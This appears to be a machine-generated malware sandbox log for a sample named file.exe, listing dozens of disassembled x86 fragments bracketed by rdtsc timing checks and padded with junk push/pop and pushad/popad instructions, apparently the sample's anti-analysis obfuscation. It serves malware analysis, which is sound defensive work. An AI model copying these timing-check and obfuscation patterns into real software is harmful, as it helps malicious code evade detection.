Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23270 second address: D23329 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5DA5418066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add dword ptr [ebp+1247D4B2h], edi 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F5DA5418058h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 jmp 00007F5DA5418064h 0x0000003e mov eax, dword ptr [ebp+122D107Dh] 0x00000044 jc 00007F5DA541805Ch 0x0000004a mov ebx, dword ptr [ebp+122D38BCh] 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push edx 0x00000055 call 00007F5DA5418058h 0x0000005a pop edx 0x0000005b mov dword ptr [esp+04h], edx 0x0000005f add dword ptr [esp+04h], 00000017h 0x00000067 inc edx 0x00000068 push edx 0x00000069 ret 0x0000006a pop edx 0x0000006b ret 0x0000006c call 00007F5DA5418065h 0x00000071 pop edi 0x00000072 nop 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 jnp 00007F5DA5418056h 0x0000007c push edi 0x0000007d pop edi 0x0000007e popad 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23329 second address: D23341 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5DA4F03E9Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D251C6 second address: D251D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D251D5 second address: D251DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D251DB second address: D25240 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5DA5418056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F5DA5418062h 0x00000014 push 00000000h 0x00000016 or bh, 00000079h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F5DA5418058h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 xor ebx, dword ptr [ebp+122D3AD3h] 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5DA5418062h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25240 second address: D2525C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5DA4F03E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F5DA4F03E98h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2525C second address: D25262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25262 second address: D25266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27882 second address: D27919 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007F5DA5418056h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov bx, 17A6h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push eax 0x00000019 cld 0x0000001a pop ebx 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F5DA5418058h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 00000019h 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov eax, dword ptr [ebp+122D07D1h] 0x00000042 jmp 00007F5DA5418061h 0x00000047 pushad 0x00000048 cld 0x00000049 mov dword ptr [ebp+12464A01h], ecx 0x0000004f popad 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push esi 0x00000055 call 00007F5DA5418058h 0x0000005a pop esi 0x0000005b mov dword ptr [esp+04h], esi 0x0000005f add dword ptr [esp+04h], 00000018h 0x00000067 inc esi 0x00000068 push esi 0x00000069 ret 0x0000006a pop esi 0x0000006b ret 0x0000006c stc 0x0000006d nop 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F5DA541805Eh 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E995 second address: D2E9BF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5DA4F03E9Ch 0x00000008 push eax 0x00000009 jmp 00007F5DA4F03EA9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EB68 second address: D2EB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EEA4 second address: D2EEB8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5DA4F03E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EEB8 second address: D2EED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F5DA54180A8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5DA541805Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EED4 second address: D2EEF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F5DA4F03E96h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EEF6 second address: D2EEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34D1B second address: D34D21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34D21 second address: D34D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38E88 second address: D38E92 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5DA4F03E9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38E92 second address: D38EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F5DA5418056h 0x00000016 jmp 00007F5DA5418062h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38EBA second address: D38EBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38EBE second address: D38EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3918F second address: D39193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39193 second address: D39199 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3930A second address: D39312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D394CE second address: D394D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D394D4 second address: D394D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D394D8 second address: D394DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D394DE second address: D394E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3961A second address: D3961F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3961F second address: D39639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4F03EA4h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39782 second address: D39786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39786 second address: D397B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F5DA4F03E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d pushad 0x0000000e pushad 0x0000000f jbe 00007F5DA4F03E96h 0x00000015 push eax 0x00000016 pop eax 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a push ecx 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F5DA4F03E9Dh 0x00000025 push edx 0x00000026 pop edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D397B5 second address: D397B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC33C6 second address: CC33D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D412FA second address: D412FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D412FE second address: D41316 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B635 second address: D0B64B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F5DA5418060h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B64B second address: CF13A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov edi, dword ptr [ebp+122D39CFh] 0x0000000c jmp 00007F5DA4F03EA2h 0x00000011 call dword ptr [ebp+122D3628h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F5DA4F03E96h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B7EE second address: D0B808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5DA5418062h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BB92 second address: D0BB98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BB98 second address: D0BB9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BB9C second address: D0BBC8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5DA4F03EA1h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5DA4F03E9Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BC6D second address: D0BCA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jnc 00007F5DA5418056h 0x00000010 pop ebx 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5DA5418060h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BCA6 second address: D0BCAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BCAA second address: D0BCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BCB0 second address: D0BCDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F5DA4F03EA7h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BCDD second address: D0BCE7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5DA5418056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BCE7 second address: D0BCEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BEB6 second address: D0BEC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA541805Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BEC9 second address: D0BECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1EBA second address: CF1EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1EC0 second address: CF1ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5DA4F03E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4175C second address: D41764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4189A second address: D418E4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5DA4F03E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5DA4F03E9Ah 0x0000000f jmp 00007F5DA4F03EA7h 0x00000014 jne 00007F5DA4F03EAAh 0x0000001a popad 0x0000001b pushad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D418E4 second address: D41906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007F5DA5418068h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41A63 second address: D41A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4F03E9Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41A76 second address: D41A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F5DA5418067h 0x0000000b jg 00007F5DA5418056h 0x00000011 jmp 00007F5DA541805Bh 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jnl 00007F5DA5418056h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41BC5 second address: D41BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jnl 00007F5DA4F03E96h 0x0000000e popad 0x0000000f push esi 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007F5DA4F03EA4h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jg 00007F5DA4F03E96h 0x00000020 jp 00007F5DA4F03E96h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41F28 second address: D41F46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5DA5418062h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41F46 second address: D41F4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AAD1 second address: D4AB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007F5DA541805Dh 0x0000000d jmp 00007F5DA541805Dh 0x00000012 pop ecx 0x00000013 pushad 0x00000014 jmp 00007F5DA5418063h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4987C second address: D49886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5DA4F03E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49886 second address: D498A4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5DA5418056h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5DA5418062h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D498A4 second address: D498BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4F03EA1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49E51 second address: D49E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49E57 second address: D49E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F5DA4F03E9Ch 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jnc 00007F5DA4F03E98h 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49550 second address: D49554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49554 second address: D49558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49558 second address: D49573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F5DA541805Ch 0x0000000c je 00007F5DA5418056h 0x00000012 push eax 0x00000013 jp 00007F5DA5418056h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50247 second address: D50254 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1A5B second address: CC1A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 js 00007F5DA5418056h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EC65 second address: D4EC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F5DA4F03EABh 0x0000000b jl 00007F5DA4F03E9Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EDF8 second address: D4EE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jns 00007F5DA5418056h 0x0000000c jmp 00007F5DA5418063h 0x00000011 js 00007F5DA5418056h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EE1E second address: D4EE3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA8h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F0D8 second address: D4F0DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F546 second address: D4F560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03EA4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4FB05 second address: D4FB18 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5DA541805Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4FC57 second address: D4FC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4FC5B second address: D4FC6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F5DA5418056h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D534E8 second address: D53506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007F5DA4F03EA6h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F5DA4F03E9Eh 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5301E second address: D53056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5DA5418056h 0x0000000a jmp 00007F5DA5418065h 0x0000000f popad 0x00000010 jmp 00007F5DA5418068h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53056 second address: D5305B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D557E2 second address: D557E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D557E8 second address: D557ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D557ED second address: D55804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418060h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
